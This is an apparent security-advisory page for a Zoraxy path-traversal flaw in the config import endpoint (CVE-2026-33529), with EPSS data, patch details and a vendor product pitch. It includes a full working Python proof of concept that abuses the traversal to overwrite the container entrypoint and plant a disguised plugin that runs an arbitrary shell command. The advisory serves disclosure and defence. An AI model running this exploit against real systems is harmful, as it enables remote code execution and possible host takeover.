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GHSA-7pq3-326h-f8q9

LOW

Zoraxy: Authenticated Path Traversal in Config Import leads to RCE

Also known asCVE-2026-33529GO-2026-4844
Published
Mar 25, 2026
Updated
Mar 27, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk35th percentile+0.41%
0.00%0.31%0.62%0.93%0.1%0.0%0.0%0.4%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/tobychui/zoraxy

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Authenticated Path Traversal to RCE via Configuration Import

Summary

An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.

Details

The vulnerable endpoint is POST /api/conf/import.

The zip entry names sanitization is bypassed by embedding ../ inside a longer sequence so the replacement produces a new ../:

conf/..././..././entrypoint.py
  → ReplaceAll("../", "")  (match found at index 1 of "..././", leaving "../")
  → conf/../../entrypoint.py   ← passes HasPrefix check, escapes conf/

Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin. When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code). As a result, the container was manually restarted for the PoC to work.

PoC

import argparse
import io
import json
import re
import sys
import zipfile

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

INTRO_SPEC_JSON = json.dumps({
    "id": "com.attacker.evil",
    "name": "System Updater",
    "author": "System",
    "author_contact": "",
    "description": "Internal system update module",
    "url": "",
    "ui_path": "/ui",
    "type": 1,
    "version_major": 1,
    "version_minor": 0,
    "version_patch": 0,
    "permitted_api_endpoints": [],
})

LINUX_START_SH = """\
#!/bin/sh
INTRO_SPEC='{intro_spec}'

run_payload() {{
{payload_lines}
}}

case "$1" in
  -introspect)
    run_payload
    printf '%s\\n' "$INTRO_SPEC"
    exit 0
    ;;
  -configure=*)
    run_payload
    while true; do sleep 3600; done
    ;;
esac
"""

MALICIOUS_ENTRYPOINT_PY = """\
#!/usr/bin/env python3
import os, subprocess, signal, sys, time

try:
    subprocess.run({cmd_list}, shell=False)
except Exception:
    pass

try:
    os.chmod("/opt/zoraxy/plugin/evil/start.sh", 0o755)
except Exception:
    pass

zoraxy_proc = None
zerotier_proc = None

def getenv(key, default=None):
  return os.environ.get(key, default)

def run(command):
  try:
    subprocess.run(command, check=True)
  except subprocess.CalledProcessError as e:
    print(f"Command failed: {command} - {e}")
    sys.exit(1)

def popen(command):
  proc = subprocess.Popen(command)
  time.sleep(1)
  if proc.poll() is not None:
    print(f"{command} exited early with code {proc.returncode}")
    raise RuntimeError(f"Failed to start {command}")
  return proc

def cleanup(_signum, _frame):
  global zoraxy_proc, zerotier_proc
  if zoraxy_proc and zoraxy_proc.poll() is None:
    zoraxy_proc.terminate()
  if zerotier_proc and zerotier_proc.poll() is None:
    zerotier_proc.terminate()
  if zoraxy_proc:
    try:
      zoraxy_proc.wait(timeout=8)
    except subprocess.TimeoutExpired:
      zoraxy_proc.kill()
      zoraxy_proc.wait()
  if zerotier_proc:
    try:
      zerotier_proc.wait(timeout=8)
    except subprocess.TimeoutExpired:
      zerotier_proc.kill()
      zerotier_proc.wait()
  try:
    os.unlink("/var/lib/zerotier-one")
  except Exception:
    pass
  sys.exit(0)

def start_zerotier():
  global zerotier_proc
  config_dir = "/opt/zoraxy/config/zerotier/"
  zt_path = "/var/lib/zerotier-one"
  os.makedirs(config_dir, exist_ok=True)
  try:
    os.symlink(config_dir, zt_path, target_is_directory=True)
  except FileExistsError:
    pass
  zerotier_proc = popen(["zerotier-one"])

def start_zoraxy():
  global zoraxy_proc
  zoraxy_args = [
    "zoraxy",
    f"-autorenew={getenv('AUTORENEW', '86400')}",
    f"-cfgupgrade={getenv('CFGUPGRADE', 'true')}",
    f"-db={getenv('DB', 'auto')}",
    f"-docker={getenv('DOCKER', 'true')}",
    f"-earlyrenew={getenv('EARLYRENEW', '30')}",
    f"-enablelog={getenv('ENABLELOG', 'true')}",
    f"-fastgeoip={getenv('FASTGEOIP', 'false')}",
    f"-mdns={getenv('MDNS', 'true')}",
    f"-mdnsname={getenv('MDNSNAME', \"''\")}",
    f"-noauth={getenv('NOAUTH', 'false')}",
    f"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}",
    f"-port=:{getenv('PORT', '8000')}",
    f"-sshlb={getenv('SSHLB', 'false')}",
    f"-version={getenv('VERSION', 'false')}",
    f"-webroot={getenv('WEBROOT', './www')}",
  ]
  zoraxy_proc = popen(zoraxy_args)

def main():
  signal.signal(signal.SIGTERM, cleanup)
  signal.signal(signal.SIGINT, cleanup)
  run(["update-ca-certificates"])
  if getenv("UPDATE_GEOIP", "false").lower() == "true":
    run(["zoraxy", "-update_geoip=true"])
  os.chdir("/opt/zoraxy/config/")
  if getenv("ZEROTIER", "false") == "true":
    start_zerotier()
  start_zoraxy()
  signal.pause()

if __name__ == "__main__":
  main()
"""


def get_csrf(host: str, session: requests.Session) -> tuple:
    r = session.get(f"{host}/login.html", timeout=10, verify=False)
    m = re.search(r'<meta[^>]+name=["\']zoraxy\.csrf\.Token["\'][^>]+content=["\']([^"\']+)["\']', r.text)
    if not m:
        m = re.search(r'<meta[^>]+content=["\']([^"\']+)["\'][^>]+name=["\']zoraxy\.csrf\.Token["\']', r.text)
    token = m.group(1) if m else r.headers.get("X-CSRF-Token", "")
    return token, f"{host}/login.html"


def authenticate(host: str, username: str, password: str,
                 session: requests.Session) -> bool:
    csrf, referer = get_csrf(host, session)
    print(f"    CSRF token  -> {csrf!r}")
    r = session.post(
        f"{host}/api/auth/login",
        data={"username": username, "password": password},
        headers={"X-CSRF-Token": csrf, "Referer": referer},
        timeout=10, verify=False,
    )
    print(f"    Login       -> HTTP {r.status_code}  {r.text[:120]!r}")
    return r.status_code == 200 and r.text.strip().strip('"').lower() in ("ok", "true")


def upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -> tuple:
    csrf, referer = get_csrf(host, session)
    r = session.post(
        f"{host}/api/conf/import",
        files={"file": ("backup.zip", zip_bytes, "application/zip")},
        headers={"X-CSRF-Token": csrf, "Referer": referer},
        timeout=30, verify=False,
    )
    return r.status_code, r.text


def export_config(host: str, session: requests.Session) -> bytes | None:
    r = session.get(
        f"{host}/api/conf/export?includeDB=true",
        timeout=60, verify=False,
    )
    if r.status_code == 200 and len(r.content) > 100:
        return r.content
    return None


def build_zip(cmd: str, export_zip: bytes) -> bytes:
    traversal_ep = "conf/..././..././entrypoint.py"
    traversal_sh = "conf/..././..././plugin/evil/start.sh"

    payload_lines = "\n".join(f"  {line}" for line in cmd.splitlines()) or "  id > /tmp/pwned.txt"
    start_sh = LINUX_START_SH.format(
        intro_spec=INTRO_SPEC_JSON.replace("'", "'\\''"),
        payload_lines=payload_lines,
    )
    malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace("{cmd_list}", repr(["sh", "-c", cmd]))

    buf = io.BytesIO()
    with zipfile.ZipFile(io.BytesIO(export_zip), "r") as src:
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
            for item in src.infolist():
                zf.writestr(item, src.read(item.filename))
            zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())
            zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())
    buf.seek(0)
    return buf.read()


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip",
    )
    parser.add_argument("--host",  help="Target, e.g. http://192.168.1.10:8000")
    parser.add_argument("--user",  default="admin")
    parser.add_argument("--pass",  dest="password", default=None)
    parser.add_argument("--cmd", default="id > /tmp/pwned.txt",
                        help="Shell command to embed in the payload")
    args = parser.parse_args()

    if not args.host or not args.password:
        parser.error("--host and --pass are required")
    host = args.host.rstrip("/")

    print(f"\n[1] Authenticating as '{args.user}' at {host} ...")
    session = requests.Session()
    if not authenticate(host, args.user, args.password, session):
        print("[-] Authentication failed.")
        sys.exit(1)
    print("[+] Authenticated.")

    print(f"\n[2] Exporting live config ...")
    export_zip = export_config(host, session)
    if not export_zip:
        print("[-] Config export failed.")
        sys.exit(1)
    print("\n[3] Building malicious zip ...")
    zip_bytes = build_zip(args.cmd, export_zip)
    print(f"[+] Zip size: {len(zip_bytes):,} bytes")

    print(f"\n[4] Uploading via POST {host}/api/conf/import ...")
    code, body = upload_zip(host, session, zip_bytes)
    print(f"    HTTP {code}  {body[:200]!r}")
    if code != 200:
        print("[-] Upload failed.")
        sys.exit(1)
    print("[+] Files written")


if __name__ == "__main__":
    main()

Impact

Arbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/tobychui/zoraxyall versions3.3.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/tobychui/zoraxy. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/tobychui/zoraxy to 3.3.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7pq3-326h-f8q9 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7pq3-326h-f8q9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7pq3-326h-f8q9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Authenticated Path Traversal to RCE via Configuration Import ## Summary An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin. ## Details The vulnerable endpoint is `POST /api/conf/import`. The zip entry names sanitization is bypassed by embedding `../` inside a longer sequence so the replacement produces a new `../`: ``` conf/..././..././entrypoint.py → ReplaceAll("../", "") (match found at index 1 of "..././", leaving "../")
O3 Security · Impact-Aware SCA

Is GHSA-7pq3-326h-f8q9 in your dependencies?

O3 detects GHSA-7pq3-326h-f8q9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.